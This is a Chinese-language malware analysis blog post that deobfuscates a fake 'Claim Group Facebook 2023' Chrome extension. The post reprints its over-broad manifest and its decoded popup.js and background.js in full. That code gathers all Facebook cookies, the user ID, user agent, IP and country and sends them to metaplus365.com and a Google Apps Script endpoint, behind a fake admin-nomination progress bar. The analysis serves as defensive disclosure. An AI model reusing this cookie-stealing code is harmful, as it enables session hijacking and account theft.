记录一下遇到的一个 Chrome 盗号插件逆向分析的过程。
起因
事情的经过是这样的,我在网上找到了一个在小组没有管理员的情况下,可以成为 Facebook 小组管理员的插件,而且描述写的是 2023 年有效。据我所知,这类的接口已经十分老旧,而且作用不大了,不过抱着好奇的心理,还是下载来看看。
俗话说「免费的才是最贵的」,在使用之前还是要先审查一下是否有安全隐患,因为免费的插件并不能带来什么经济收益。有的作者可以会用来提高自己的知名度而提供免费使用,有的人也会用来插入后门代码用来窃取用户隐私。
分析结构
先来分析一下这个插件安装包的整体结构。
主要的功能是通过 JavaScript 代码来控制的,所以主要分析的文件有 background.js, popup.js 和 manifest.json。
因为 manifest.json 记录了 Chrome 插件的配置文件,里面记录了哪些 JavaScript 文件在哪些域名使用,以及插件所用到的权限。content.js 虽然是 JavaScript 文件,但是不作为主要分析的文件,因为大小是 0字节,是一个空文件。jquery.min.js 是一个常见的 JavaScript 库,一般情况下不会在里面写入恶意代码,当然,不排除这种小概率事件。
manifest.json
这个文件里有几个地方比较可疑,content_scripts 和 permissions 设置的 http://*/*
、https://*/*
和 <all_urls>
都是全局加载的。但是这个插件只是 Facebook 小组相关的功能,只需要在 Facebook 域名下使用即可,但是插件里面设置的是所有的域名都会加载代码,获取的权限太高了,超出了功能该有的权限。而且还用到了 unsafe-eval
这个比较危险的东西,可以将字符串当作代码执行。
{
"name": "Claim Group Facebook 2023",
"version": "0.0.1",
"manifest_version": 2,
"browser_action": {
"default_icon": "images/icon.png",
"default_title": "Claim Group Facebook 2023"
},
"background": {
"scripts": ["background.js"]
},
"content_scripts": [
{
"matches": ["http://*/*", "https://*/*"],
"js": ["content.js","popup.js"]
}
],
"permissions": ["contextMenus","webRequest", "webRequestBlocking", "activeTab","storage","<all_urls>", "cookies","downloads", "tabs", "*://*.facebook.com/*","http://*/*", "https://*/*"],
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
}
popup.js
这里的代码被加密了,从开头的 _0x4bb0
变量看起来是用 16 进制 加密的,下面的代码变量名也被修改了。
那么一步一步的把代码给还原出来,使用 编码转换工具,把 16 进制 转换成文本。
这里可以看到一些越南语,还有一个域名。使用 Whois 工具查询,可以确认这是一个越南的站点,这个作者是越南人。
下半部分的代码是通过 _0x4bb0
这个数组里面取出来文本再拼接起来的,那么就手动从数组里将文本挨个还原出来。
还原后,发现还有 _0x567b
这个数组也需要还原出来,需要再还原一次。
还原后如下
不过代码现在可读性比较差,需要进行排版美化一下,再把变量名重命名。还原后的最终代码如下:
$(document).ready(function () {
getCookie()
function getCookie () {
console.log('Vui lòng không thao tác ở đây !')
chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
// if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value
}
$('#cookie').val(cookieStr)
})
}
$('body').on('click', '#save', function (evt) {
evt.preventDefault()
const uid = $('#uid').val()
if (uid.length < 5) {
alert('Vui lòng nhập uid !')
return
}
$('#thongtin').text('Admin nomination in progress!');
for (let i = 0; i < 100; i++) {
setTimeout(function () {
$('#loadding').width(i + 1 + '%')
$('#load').text(i + 1)
if (i == 99) $('#thongtin').text('Result: You have become the admin of the group')
}, i * 50)
}
})
})
getCookie()
function getCookie () {
console.log('Vui lòng không thao tác ở đây !')
chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
// if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value
}
currentCookie = cookieStr
const headers = new Headers()
headers.append('Content-Type', 'application/x-www-form-urlencoded')
const body = new URLSearchParams()
body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`)
body.append('add', 'v')
const option = {
method: 'POST',
headers,
body,
redirect: 'follow'
}
fetch('http://metaplus365.com/insert/index.php', option).then(response => {
return response.text()
}).then(response => {
return console.log(response)
}).catch(error => {
return console.log('error', error)
})
})
}
代码一共有两个 getCookie()
函数。第一个是根据 Facebook 的域名获取完整的 cookies 拼接好写入 #cookie
标签。
getCookie()
function getCookie () {
console.log('Vui lòng không thao tác ở đây !')
chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
}
$('#cookie').val(cookieStr)
})
}
第二个的方法类似,获取完整的 cookies,并且发送到 http://metaplus365.com/insert/index.php ,这个域名。到这里已经可以确定这个插件会窃取用户隐私了。
getCookie()
function getCookie () {
console.log('Vui lòng không thao tác ở đây !')
chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
}
currentCookie = cookieStr
const headers = new Headers()
headers.append('Content-Type', 'application/x-www-form-urlencoded')
const body = new URLSearchParams()
body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`)
body.append('add', 'v')
const option = {
method: 'POST',
headers,
body,
redirect: 'follow'
}
fetch('http://metaplus365.com/insert/index.php', option).then(response => {
return response.text()
}).then(response => {
return console.log(response)
}).catch(error => {
return console.log('error', error)
})
})
}
background.js
这里用的混淆方式和刚才的 popup.js 类似,也是使用 16 进制 加密,修改变量名。因为加密后的代码太长,就不放出来了,直接放还原后的代码。
let g_IPAdress = ''
let g_Country = ''
GetIPAdress()
function GetIPAdress () {
const option = {
method: 'GET',
redirect: 'follow'
}
fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => {
return response.text()
}).then(response => {
try {
const json = JSON.parse(response)
g_IPAdress = json.geobytesipaddress
g_Country = json.geobytesfqcn
} catch {}
}).catch(error => {
return console.log('error', error)
})
}
setTimeout(function () {
SendData()
}, 3000)
function SendData () {
const obj = {}
chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0x0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
try {
if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value
} catch {}
}
cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};`
obj.cookie = cookieStr
obj.country = g_Country
obj.ip_adress = g_IPAdress
console.log('all info: ' + JSON.stringify(obj))
RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj)
})
}
function RealSend (url, obj) {
const headers = new Headers()
headers.append('authority', 'script.google.com')
headers.append('accept', 'application/json, text/javascript, */*; q=0.01')
headers.append('x-client-data', 'CIm2yQEIpbbJAQjEtskBCKmdygEI9sfKAQjnyMoBCOnIygEItMvKAQj7zcoBCNvVygEI2tfKAQie2MoB')
headers.append('sec-fetch-site', 'cross-site')
headers.append('sec-fetch-mode', 'cors')
headers.append('sec-fetch-dest', 'empty')
headers.append('accept-language', 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7,fr-FR;q=0.6,fr;q=0.5')
const option = {
method: 'GET',
headers,
redirect: 'follow'
}
let link = ''
link += url.trim()
link += '?uid=' + obj.uid
link += '&cookie=' + btoa(obj.cookie)
link += '&country=' + btoa(g_Country)
link += '&ip_adress=' + btoa(g_IPAdress)
link += '&time=' + btoa(new Date().toLocaleString())
fetch(link.trim(), option).then(response => {
return response.text()
}).then(response => {
console.log(response)
}).catch(error => {
return console.log('error', error)
})
}
这段代码会先运行 GetIPAdress()
函数,然后向 http://gd.geobytes.com/GetCityDetails 这个域名发送请求,获取用户的 IP 地址和国家,写到变量里。
GetIPAdress()
function GetIPAdress () {
const option = {
method: 'GET',
redirect: 'follow'
}
fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => {
return response.text()
}).then(response => {
try {
const json = JSON.parse(response)
g_IPAdress = json.geobytesipaddress
g_Country = json.geobytesfqcn
} catch {}
}).catch(error => {
return console.log('error', error)
})
}
等待 3 秒后会运行 SendData()
这个函数,应该是为了确保前面获取到了用户 IP 地址信息后再运行,所以才等待 3 秒。这里会获取 Facebook 的用户 ID 和 Cookies 信息,并且记录当前浏览器使用的 User-Agent,然后发送到 Google Script 自定义的 API 接口。这里也是一个窃取用户隐私的代码。
chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) {
let cookieStr = ''
for (let i = 0x0; i < cookieInfo.length; i++) {
cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};`
try {
if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value
} catch { }
}
cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};`
obj.cookie = cookieStr
obj.country = g_Country
obj.ip_adress = g_IPAdress
console.log('all info: ' + JSON.stringify(obj))
RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj)
})
等等... 这个插件描述的功能是成为 Facebook 小组管理员的插件,相关的代码呢??完全没找到和描述功能相关的代码,纯粹是一个盗号插件啊!
请不要随意从网上下载来源不明插件或者软件,因为它们可能包含病毒和恶意软件,有时候并不会被杀毒软件查杀,这样会导致个人信息和账号被盗。建议只从官方和受信任的来源下载插件或插件。